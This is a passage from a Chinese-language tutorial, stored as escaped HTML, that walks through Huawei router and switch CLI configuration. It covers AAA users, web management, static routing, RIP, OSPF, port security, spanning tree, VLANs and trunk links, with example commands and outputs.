&amp;lt;R1&amp;gt;display users             #查看链接到路由器的用户,或下面也是一样的
&amp;lt;R1&amp;gt;display user-interface
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-6-pei-zhi-aaayan-zheng&quot;&gt;3.6 配置AAA验证&lt;&#x2F;h3&gt;
&lt;p&gt;　　配置用户名和密码验证(即 AAA ,authentication身份验证,authorization授权验证,accounting账户记账)步骤:&lt;&#x2F;p&gt;
&lt;p&gt;　　1)进入aaa模式创建用户名和密码.&lt;&#x2F;p&gt;
&lt;p&gt;　　2)指定此用户进行哪一种服务的aaa验证(默认admin存在).&lt;&#x2F;p&gt;
&lt;p&gt;　　3)进入接口模式(console或telnet虚拟接口),指定验证模式为aaa.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;&amp;lt;R1&amp;gt;system-view
Enter system view, return user view with Ctrl+Z.
[R1]aaa
[R1-aaa]local-user test password cipher 123456      #增加用户和设置加密的密码
Info: Add a new user.
[R1-aaa]local-user test privilege level 15          #设置test用户级别
[R1-aaa]local-user test service-type ?              #查看用户可用的验证类型接入方式
  8021x     802.1x user
  bind      Bind authentication user
  ftp       FTP user
  http      Http user
  ppp       PPP user
  ssh       SSH user
  sslvpn    Sslvpn user
  telnet    Telnet  user
  terminal  Terminal user
  web       Web authentication user
  x25-pad   X25-pad user
[R1-aaa]local-user test service-type telnet         #指定用户可以使用telnet和console,取消都是使用undo
[R1-aaa]local-user test service-type terminal　　　　#注意,同时配置console和telnet使用aaa验证,可能只有一个生效
[R1-aaa]display local-user
  ----------------------------------------------------------------------------
  User-name                      State  AuthMask  AdminLevel
  ----------------------------------------------------------------------------
  test                           A      M         15
  admin                          A      H         -          #&amp;lt;===缺省已经存在一个admin用户允许进行aaa验证
  ----------------------------------------------------------------------------
  Total 2 user(s)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-7-pei-zhi-yong-hu-tong-guo-webfang-shi-deng-lu-guan-li-hua-wei-shu-tong-she-bei&quot;&gt;3.7 配置用户通过web方式登录管理华为数通设备&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;&amp;lt;Huawei&amp;gt; system-view
[Huawei] interface gigabitethernet 0&amp;#x2F;0&amp;#x2F;0
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;0] ip address 10.0.0.1 24
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;0] quit
[Huawei] aaa　　　　#配置aaa认证
[Huawei-aaa] local-user admin password irreversible-cipher 123456
[Huawei-aaa] local-user admin privilege level 15
[Huawei-aaa] local-user admin service-type http
[Huawei-aaa] quit
[Huawei] http server enable         #使能http网管功能
[Huawei] quit               #输入接口IP地址即可登录,如https:&amp;#x2F;&amp;#x2F;10.0.0.1
&amp;lt;Huawei&amp;gt; display http server      #查看信息
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;4-jing-tai-lu-you&quot;&gt;4. 静态路由&lt;&#x2F;h2&gt;
&lt;p&gt;　　&lt;strong&gt;网络畅通的条件:数据包有去有回&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;　　路由器上2张重要的表: &lt;strong&gt;路由表&lt;&#x2F;strong&gt; 和&lt;strong&gt;转发表&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]display ip routing-table           #显示所有路由表
[Huawei]display fib         #显示FIB表信息
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-1-hua-wei-lu-you-qi-jing-tai-lu-you-chang-yong-pei-zhi-ming-ling&quot;&gt;4.1 华为路由器静态路由常用配置命令&lt;&#x2F;h3&gt;
&lt;p&gt;　　使用静态路由协议,路由器需要知道除自己直连的网段的路由外的所有路由表怎么走,才能让数据包有去有回.没有直连的网段,需手工添加静态路由表.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# 配置路由器使用IP地址作为下一跳地址静态路由
[Huawei]ip route-static 192.168.6.0 255.255.255.0 192.168.4.1   #下一跳地址是192.168.4.1
[Huawei]display ip routing-table        #显示所有路由表
[Huawei]display ip routing-table protocol static    #仅仅显示静态路由表
[Huawei]undo ip route-static 192.168.4.1        #删除路由表不用加下一跳地址
# 使用路由器的出接口地址接口号作为路由器下一跳的地址(串口&amp;#x2F;广域网接口最好使用接口编号作为下一条地址,以太网最好使用IP地址作为下一跳,节省查询路由表的开销),serial串口&amp;#x2F;广域网接口是点到点链路,使用ppp封装.
[Huawei]ip route-static 172.16.1.0 24 serial 2&amp;#x2F;0&amp;#x2F;0    #指定路由器的出接口为下一跳地址
[Huawei]display ip routing-table           #显示所有路由表
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;　　配置主机路由:主机路由指定的特定的主机地址,子网掩码是全1,即255.255.255.255&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]ip route-static 192.168.2.1 32 172.168.2.1
[Huawei]display fib
[Huawei]display ip routing-table
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-2-jing-tai-lu-you-zhi-mo-ren-lu-you&quot;&gt;4.2 静态路由之默认路由&lt;&#x2F;h3&gt;
&lt;p&gt;　　注意:默认路由的优先级是最低的,子网掩码为1的位越多,优先级越高.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-3-jing-tai-lu-you-zhi-deng-jia-lu-you-ji-fu-dong-lu-you&quot;&gt;4.3 静态路由之等价路由及浮动路由&lt;&#x2F;h3&gt;
&lt;p&gt;　　等价路由,转发数据时按照1:1转发.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]ip route-static 192.168.3.0 24 192.168.0.2
[Huawei]ip route-static 192.168.3.0 24 192.168.1.2
[Huawei]display ip routing-table protocol static
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;　　浮动路由:即主备关系,主线断,备线顶上.(值越小,优先级越高)&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]ip route-static 192.168.6.0 24 172.16.0.2 ?
  description   Add or delete description of unicast static route
  inherit-cost  Inherit the cost of the iterated route
  permanent     Specifies route permanent
  preference    Specifies route preference
  tag           Specifies route tag
  track         Specify track object
  &amp;lt;cr&amp;gt;          Please press ENTER to execute command
[Huawei]ip route-static 192.168.6.0 24 172.16.0.2 pre
[Huawei]ip route-static 192.168.6.0 24 172.16.0.2 preference ?
  INTEGER&amp;lt;1-255&amp;gt;  Preference value range
[Huawei]ip route-static 192.168.6.0 24 172.16.0.2 preference 120        #设置备用路由线路优先级为120
[Huawei]display ip routing-table protocol static                #直连路由优先级最高,备用路由在主路由表失效时失效
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;5-dong-tai-lu-you&quot;&gt;5. 动态路由&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;5-1-dong-tai-lu-you-xie-yi-rip&quot;&gt;5.1 动态路由协议RIP&lt;&#x2F;h3&gt;
&lt;p&gt;　　RIP协议版本的区别:&lt;&#x2F;p&gt;
&lt;p&gt;　　1)RIPv1:通过广播方式255.255.255.255 FF-FF-FF-FF-FF-FF发现邻居和通告路由表信息;不带子网掩码,支持等长子网,不支持变长子网,不支持路由手动汇总;不支持认证.&lt;&#x2F;p&gt;
&lt;p&gt;　　2)RIPv2:通过多播地址224.0.0.9发现邻居和更新路由表信息;带子网掩码,支持等长和变长子网,支持手动路由汇总;支持认证,有明文和MD5两种认证方式 ;&lt;&#x2F;p&gt;
&lt;p&gt;　　RIP协议几个计时器:&lt;&#x2F;p&gt;
&lt;p&gt;　　1)每隔30秒发送更新路由表信息给对方.&lt;&#x2F;p&gt;
&lt;p&gt;　　2)失效计时器是180秒,跳数超过16跳不可达.&lt;&#x2F;p&gt;
&lt;p&gt;　　3)垃圾搜集计时器:失效的路由,过了120秒,从路由表彻底删除.&lt;&#x2F;p&gt;
&lt;p&gt;　　常用配置命令:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]rip 1       #1代表进程ID
[Huawei-rip-1]network 10.0.0.0      #通告本网段路由信息
[Huawei-rip-1]network 192.168.1.0
[Huawei-rip-1]version ?
  INTEGER&amp;lt;1-2&amp;gt;  Version of RIP process
[Huawei-rip-1]version 2         #使用版本2可以使路由表带有更为精确的子网掩码信息
[Huawei-rip-1]summary always            #默认总是自动汇总(接口如果启用了水平分割和毒性逆转需同时执行此命令才会自动汇总)
[Huawei-rip-1]undo summary              #关闭自动汇总,可支持不连续子网
[Huawei]interface GigabitEthernet 0&amp;#x2F;0&amp;#x2F;0     #在接口视图下进行手工汇总
[Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;0]rip summary-address 192.168.10.0 255.255.255.128
&amp;lt;Huawei&amp;gt;display rip 1 route           #显示此进程的路由信息
&amp;lt;Huawei&amp;gt;display rip 1 database            #显示rip 1进程数据信息
&amp;lt;Huawei&amp;gt;display ip routing-table protocol rip #查看rip协议学到的路由信息
&amp;lt;Huawei&amp;gt;display rip 1 interface           #查看正在运行rip协议的接口的相关信息
&amp;lt;Huawei&amp;gt;terminal monitor #查看rip协议活动信息
&amp;lt;Huawei&amp;gt;terminal debugging
&amp;lt;Huawei&amp;gt;debugging rip 1 packet
&amp;lt;Huawei&amp;gt;debugging rip 1 packet GigabiEthernet 0&amp;#x2F;0&amp;#x2F;0   #查看接口发送和接收的rip数据包
&amp;lt;Huawei&amp;gt;undo debugging all    #关闭诊断
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-2-pei-zhi-ripren-zheng&quot;&gt;5.2 配置RIP认证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;&amp;lt;Huawei&amp;gt; system-view
[Huawei] interface gigabitethernet 1&amp;#x2F;0&amp;#x2F;0
[Huawei-GigabitEthernet1&amp;#x2F;0&amp;#x2F;0] rip authentication-mode ?     #查看rip协议支持的认证方式
[Huawei-GigabitEthernet1&amp;#x2F;0&amp;#x2F;0] rip authentication-mode hmac-sha256 cipher admin@huawei 255
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;6-dong-tai-lu-you&quot;&gt;6. 动态路由&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;6-1-dong-tai-lu-you-ospf&quot;&gt;6.1 动态路由OSPF&lt;&#x2F;h3&gt;
&lt;p&gt;　　ospf:开放式最短优先动态路由协议,针对ipv4使用的是ospf VERSION2;针对ospf ipv6使用的是ospf VERSION3;ospf支持区域.&lt;&#x2F;p&gt;
&lt;p&gt;　　ospf协议的5种报文:&lt;&#x2F;p&gt;
&lt;p&gt;　　1)问候数据包(hello包),发现并建立邻居关系.&lt;&#x2F;p&gt;
&lt;p&gt;　　2)数据库描述数据包(database description),向邻居给出自己的链路状态数据库中的所有链路状态的摘要信息.&lt;&#x2F;p&gt;
&lt;p&gt;　　3)链路状态请求数据包(Link State Request,即LSR).&lt;&#x2F;p&gt;
&lt;p&gt;　　4)链路状态更新数据包(Link State Update,即LSU),使用泛洪的方法对全网更新链路状态.此种数据包的信息最复杂,也是ospf最核心的部分.路由器使用这种数据包将其链路状态信息通告给邻居路由器.在ospf中,只有LSU需要显示确认信息.&lt;&#x2F;p&gt;
&lt;p&gt;　　5)链路状态确认数据包(Link State Acknonwledegement,LSAck),对LSU进行确认.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;ospf-packet-types.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-2-ospfpei-zhi-shi-li&quot;&gt;6.2 ospf配置示例&lt;&#x2F;h3&gt;
&lt;p&gt;　　来源:华为官方文档.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;huawei-switch-commands&#x2F;huawei-ospf-config-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;#####RouterA的配置文件
 sysname RouterA
router id 1.1.1.1　　　　#&amp;lt;===router id一般使用路由器的环回地址,且全网唯一(一般需先配置环回接口IP地址)
interface GigabitEthernet1&amp;#x2F;0&amp;#x2F;0
 ip address 192.168.0.1 255.255.255.0
interface GigabitEthernet2&amp;#x2F;0&amp;#x2F;0　　　　#&amp;lt;===接口的网络类型须一致(接口视图下查看网络类型ospf network-type ?)
 ip address 192.168.1.1 255.255.255.0
ospf 1　　　　　　　　#&amp;lt;===ospf的进程号
 area 0.0.0.0　　　　#&amp;lt;===配置区域id,链路两端的ospf区域id须一致
  network 192.168.0.0 0.0.0.255
 area 0.0.0.1
  network 192.168.1.0 0.0.0.255
return
######RouterB的配置文件
 sysname RouterB
router id 2.2.2.2
interface GigabitEthernet1&amp;#x2F;0&amp;#x2F;0
 ip address 192.168.0.2 255.255.255.0
interface GigabitEthernet2&amp;#x2F;0&amp;#x2F;0
 ip address 192.168.2.1 255.255.255.0
ospf 1
 area 0.0.0.0
  network 192.168.0.0 0.0.0.255
 area 0.0.0.2
  network 192.168.2.0 0.0.0.255
return
######RouterC的配置文件
 sysname RouterC
router id 3.3.3.3
interface GigabitEthernet1&amp;#x2F;0&amp;#x2F;0
 ip address 192.168.1.2 255.255.255.0
interface GigabitEthernet2&amp;#x2F;0&amp;#x2F;0
 ip address 172.16.1.1 255.255.255.0
ospf 1
 area 0.0.0.1
  network 192.168.1.0 0.0.0.255
  network 172.16.1.0 0.0.0.255
return
######RouterD的配置文件
 sysname RouterD
router id 4.4.4.4
interface GigabitEthernet1&amp;#x2F;0&amp;#x2F;0
 ip address 192.168.2.2 255.255.255.0
interface GigabitEthernet2&amp;#x2F;0&amp;#x2F;0
 ip address 172.17.1.1 255.255.255.0
ospf 1
 area 0.0.0.2
  network 192.168.2.0 0.0.0.255
  network 172.17.1.0 0.0.0.255
return
######RouterE的配置文件
 sysname RouterE
router id 5.5.5.5
interface GigabitEthernet2&amp;#x2F;0&amp;#x2F;0
 ip address 172.16.1.2 255.255.255.0
ospf 1
 area 0.0.0.1
  network 172.16.1.0 0.0.0.255
return
######RouterF的配置文件
 sysname RouterF
router id 6.6.6.6
interface GigabitEthernet2&amp;#x2F;0&amp;#x2F;0
 ip address 172.17.1.2 255.255.255.0
ospf 1
 area 0.0.0.2
  network 172.17.1.0 0.0.0.255
return
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;　　常用的查看配置和诊断命令:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[RouterA] display ospf peer     #显示邻居ospf信息
[RouterA] display ospf routing  #显示本机的ospf路由信息
[RouterA] display ospf lsdb     #显示本机链路状态ospf lsdb数据库信息
[RouterA] display ip routing-table  #显示所有路由表信息
[RouterA] display ospf interface    #查看运行ospf协议的接口
[RouterA] display ospf 1 routing    #显示ospf学到的路由信息
[RouterA] display router id         #显示本机router id
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-3-router-idpei-zhi-ji-shuo-ming&quot;&gt;6.3 router id配置及说明&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]interface LoopBack ?
&amp;lt;0-1023&amp;gt; LoopBack interface number
[Huawei]interface LoopBack 0
[Huawei-LoopBack0]ip address 1.1.1.1 24　　　　#&amp;lt;===一般使用环回接口的IP地址作为router id,此id号全网唯一
[Huawei]router id 1.1.1.1　　　　#&amp;lt;===如果router id改变,则各个协议需运行reset命令才会使新的router id生效
Info: Router ID has been modified, please reset the relative protocols manually
to update the Router ID.
[Huawei]display router id
RouterID:1.1.1.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-4-helloshi-jian-he-ospfxie-yi-jie-kou-kai-xiao&quot;&gt;6.4 hello时间和ospf协议接口开销&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;#####hello包时间
[Huawei]ospf 1
[Huawei-ospf-1]undo silent-interface all            #取消所有的被动接口
[Huawei]interface Vlanif 1
[Huawei-Vlanif1]ospf timer hello 60
[Huawei-Vlanif1]ospf timer dead 80
[Huawei-Vlanif1]display ospf interface vlanif 1     #查看接口hello包信息
#####设置接口开销
[Huawei]interface GigabitEthernet 0&amp;#x2F;0&amp;#x2F;
Huawei-GigabitEthernet0&amp;#x2F;0&amp;#x2F;0]ospf cost 500
[Huawei]display ip routing-table protocol ospf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-5-geng-gai-ospfxie-yi-de-you-xian-ji&quot;&gt;6.5 更改ospf协议的优先级&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]ospf 1
[Huawei-ospf-1]preference ?
  INTEGER&amp;lt;1-255&amp;gt;  Preference value
  ase             AS external link states
  route-policy    Route policy
[Huawei-ospf-1]preference 70
[Huawei-ospf-1]display ip routing-table
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-6-ospfxie-yi-de-drhe-bdr&quot;&gt;6.6 ospf协议的DR和BDR&lt;&#x2F;h3&gt;
&lt;p&gt;　　在接口视图下配置DR的优先级,值越大,优先级越高,被选为DR的可能性就越大.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;&amp;lt;Huawei&amp;gt; system-view
[Huawei] interface gigabitethernet 1&amp;#x2F;0&amp;#x2F;0
[Huawei-GigabitEthernet1&amp;#x2F;0&amp;#x2F;0] ospf dr-priority 8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-jiao-huan-ji-zu-wang&quot;&gt;7. 交换机组网&lt;&#x2F;h2&gt;
&lt;p&gt;　　注意:&lt;&#x2F;p&gt;
&lt;p&gt;　　1)交换机及路由器上的所有交换模块的接口缺省默认都属于vlanif1网段,且只有vlanif1可以配置管理IP地址,其他物理端口不可配置IP地址,三层交换机只有虚拟接口vlanif可以配置ip地址.
　　2)vlanif1属于全局管理地址及多播包,如BPDU报文传送使用到的vlan,所以,vlan1一般不对外使用,只用来管理交换机和交换机自身发送和接收其他交换机的数据包.
　　3)交换机通过构建mac地址表,利用mac地址转发数据帧.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-1-jiao-huan-ji-an-quan-xiang-guan-pei-zhi&quot;&gt;7.1 交换机安全相关配置&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;&amp;lt;Huawei&amp;gt;system-view
Enter system view, return user view with Ctrl+Z.
[Huawei-Vlanif1]ip address 192.168.1.254 24
[Huawei-Vlanif1]display ip interface brief      #显示接口信息
&amp;lt;Huawei&amp;gt;display mac-address       #查看mac地址缓存信息
######配置交换机端口安全(1.只允许一个mac地址访问,限制交换机连接计算机的数量;2.指定允许访问的mac地址)
&amp;lt;Huawei&amp;gt;system-view
Enter system view, return user view with Ctrl+Z.
[Huawei]interface Ethernet 0&amp;#x2F;0&amp;#x2F;1
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]port-security enable      #使能端口安全
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]port-security protect-action ?
  protect   Discard packets
  restrict  Discard packets and warning
  shutdown  Shutdown
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]port-security protect-action shutdown #端口保护触发时为关闭端口(恢复需手动undo shutdown)
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]port-security ?
  aging-time      Aging time
  enable          Enable port security
  mac-address     Mac address           #绑定mac
  max-mac-num     Maximum mac address can learn #限制数量
  protect-action  Action if beyond the limit
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]port-security max-mac-num 1　　#限制端口最大连接数量
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]display this
interface Ethernet0&amp;#x2F;0&amp;#x2F;1
 port-security enable
 port-security protect-action shutdown
return
######指定交换机绑定计算机的mac地址进行链接(在上面基础上,限制接口数量除外)
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]port-security mac-address sticky
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]port-security mac-address sticky 5489-9892-156A vlan 1    #注意使用问号查看mac书写格式
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]display mac-address
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]display this
######清空交换机某个接口的所有配置(清空后接口是shutdown了)
[Huawei]clear configuration interface Ethernet 0&amp;#x2F;0&amp;#x2F;1
Warning: All configurations of the interface will be cleared, and its state will
 be shutdown. Continue? [Y&amp;#x2F;N] :y
[Huawei]interface Ethernet 0&amp;#x2F;0&amp;#x2F;1
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]display this
interface Ethernet0&amp;#x2F;0&amp;#x2F;1
 shutdown
return
######批量绑定交换机接口和mac地址(创建定义端口组)
[Huawei]port-group vlanport     #定义端口组名称(名称随意给)
[Huawei-port-group-vlanport]group-member Ethernet 0&amp;#x2F;0&amp;#x2F;1 to Ethernet 0&amp;#x2F;0&amp;#x2F;6   #把端口加入端口组
[Huawei-port-group-vlanport]port-security enable        #开启交换机端口安全
[Huawei-port-group-vlanport]port-security protect-action shutdown
[Huawei-port-group-vlanport]port-security mac-address sticky        #绑定mac地址(sticky是静态绑定,不是动态)
[Huawei-port-group-vlanport]display mac-address
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-2-sheng-cheng-shu-xie-yi-stp&quot;&gt;7.2 生成树协议STP&lt;&#x2F;h3&gt;
&lt;p&gt;　　缺省情况下,所有华为交换机都开启了生成树stp协议,查看生成树协议相关信息使用以下命令.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]display stp brief
 MSTID  Port                        Role  STP State     Protection
   0    Ethernet0&amp;#x2F;0&amp;#x2F;1               DESI  FORWARDING      NONE
[Huawei]stp disable             #关闭生成树协议
Warning: The global STP state will be changed. Continue? [Y&amp;#x2F;N]y
Info: This operation may take a few seconds. Please wait for a moment...done.
[Huawei]stp enable      #开启生成树协议
Warning: The global STP state will be changed. Continue? [Y&amp;#x2F;N]y
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-4-sheng-cheng-shu-suan-fa-de-ji-ge-bu-zou-ji-pei-zhi-you-xian-ji-ming-ling&quot;&gt;7.4 生成树算法的几个步骤及配置优先级命令&lt;&#x2F;h3&gt;
&lt;p&gt;　　1)选择根网桥root bridge：依据网桥bridgeID最低优先（网桥优先级默认32768＋mac地址大小）,网桥的bridageID可更改.&lt;&#x2F;p&gt;
&lt;p&gt;　　2)在每一个非根桥选择一个到根网桥最近的端口最为根端口root ports(根桥与非根桥通信的端口)：依据1.根路径成本cost最低 2.直连网桥的bridgeID最小 3.直连网桥的端口ID最小.
　　3)在每一个网段选择一个指定端口designated ports:根桥上的所有端口都是指定端口;非根桥上的指定端口依据：根路径成本最低；端口所在网桥的bridgeID最小；直连网桥的端口ID最小.&lt;&#x2F;p&gt;
&lt;p&gt;　　4)剩下的就是阻塞端口.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;#####查看交换机mac(每个交换机对应一个基本的mac地址,然后每个端口独有一个mac地址)
[Huawei]display bridge mac-address
System bridge MAC address: 4c1f-cc50-2baa
[Huawei]display stp     #查看全局设置
#####设置网桥ID优先级
[Huawei]stp priority ?
  INTEGER&amp;lt;0-61440&amp;gt;  Bridge priority, in steps of 4096     #4096的倍数
[Huawei]stp priority 0      #网桥ID最小的为根交换机
#####或
[Huawei]stp root ?
  primary    Primary root switch        #根交换机
  secondary  Secondary root switch      #备用
[Huawei]stp root primary            #这条命令也可以设置交换机为根交换机
######更改端口开销,重新选择根端口命令(在离根最近的交换机上更改)
[Huawei]interface Ethernet 0&amp;#x2F;0&amp;#x2F;2
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;2]stp cost ?
  INTEGER&amp;lt;1-200000000&amp;gt;  Port path cost
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;2]stp cost 2000         #取消使用undo
######如果开销一样,就比较网桥的briageID或mac地址
######更改交换机的PID,重新选举根端口(接口模式下配置,在上游交换机更改)
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;2]stp port priority ?
  INTEGER&amp;lt;0-240&amp;gt;  Port priority, in steps of 16
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;2]stp port priority 192
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-4-jiao-huan-ji-duan-kou-de-5chong-zhuang-tai&quot;&gt;7.4 交换机端口的5种状态&lt;&#x2F;h3&gt;
&lt;p&gt;　　生成树经历的5种状态:&lt;&#x2F;p&gt;
&lt;p&gt;　　1.禁用disable&lt;&#x2F;p&gt;
&lt;p&gt;　　2.阻塞blocking（只接收BPDU）&lt;&#x2F;p&gt;
&lt;p&gt;　　3.侦听listening（构建拓扑，选举根桥 根端口 指定端口）&lt;&#x2F;p&gt;
&lt;p&gt;　　4.学习learning（构建mac地址表）&lt;&#x2F;p&gt;
&lt;p&gt;　　5.转发forwarding发送和接收数据&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-5-vlanxu-ni-ju-yu-wang-ji-duan-kou-zu-pei-zhi&quot;&gt;7.5 vlan虚拟局域网及端口组配置&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;######vlan配置
[Huawei]display vlan        #默认所有接口都属于vlan1中
[Huawei]vlan batch 2 3      #连续创建多个vlan
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;1]display this
interface Ethernet0&amp;#x2F;0&amp;#x2F;1
 port link-type access
 port default vlan 2
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;2]display this
interface Ethernet0&amp;#x2F;0&amp;#x2F;2
 port link-type access
 port default vlan 3
[Huawei-Vlanif2]display this
interface Vlanif2
 ip address 192.168.1.254 255.255.255.0
[Huawei-Vlanif3]display this
interface Vlanif3
 ip address 192.168.2.254 255.255.255.0
######创建端口组,将多个端口同时加入到端口组,然后指定属于某个vlan
[Huawei]port-group vlan2_ports          #组名随意定
[Huawei-port-group-vlan2_ports]group-member Ethernet 0&amp;#x2F;0&amp;#x2F;3 to Ethernet 0&amp;#x2F;0&amp;#x2F;10   #将端口加入端口组
[Huawei-port-group-vlan2_ports]display this
[Huawei-port-group-vlan2_ports]port link-type access
[Huawei-port-group-vlan2_ports]port default vlan 2      #统一指定接口属于某vlan
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-6-gan-dao-lian-lu-trunk&quot;&gt;7.6 干道链路trunk&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;[Huawei]interface Ethernet 0&amp;#x2F;0&amp;#x2F;11
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;11]port link-type trunk
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;11]port trunk allow-pass vlan 2 3       #允许某vlan通过
[Huawei-Ethernet0&amp;#x2F;0&amp;#x2F;11]port trunk allow-pass vlan all       #允许所有vlan通过
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
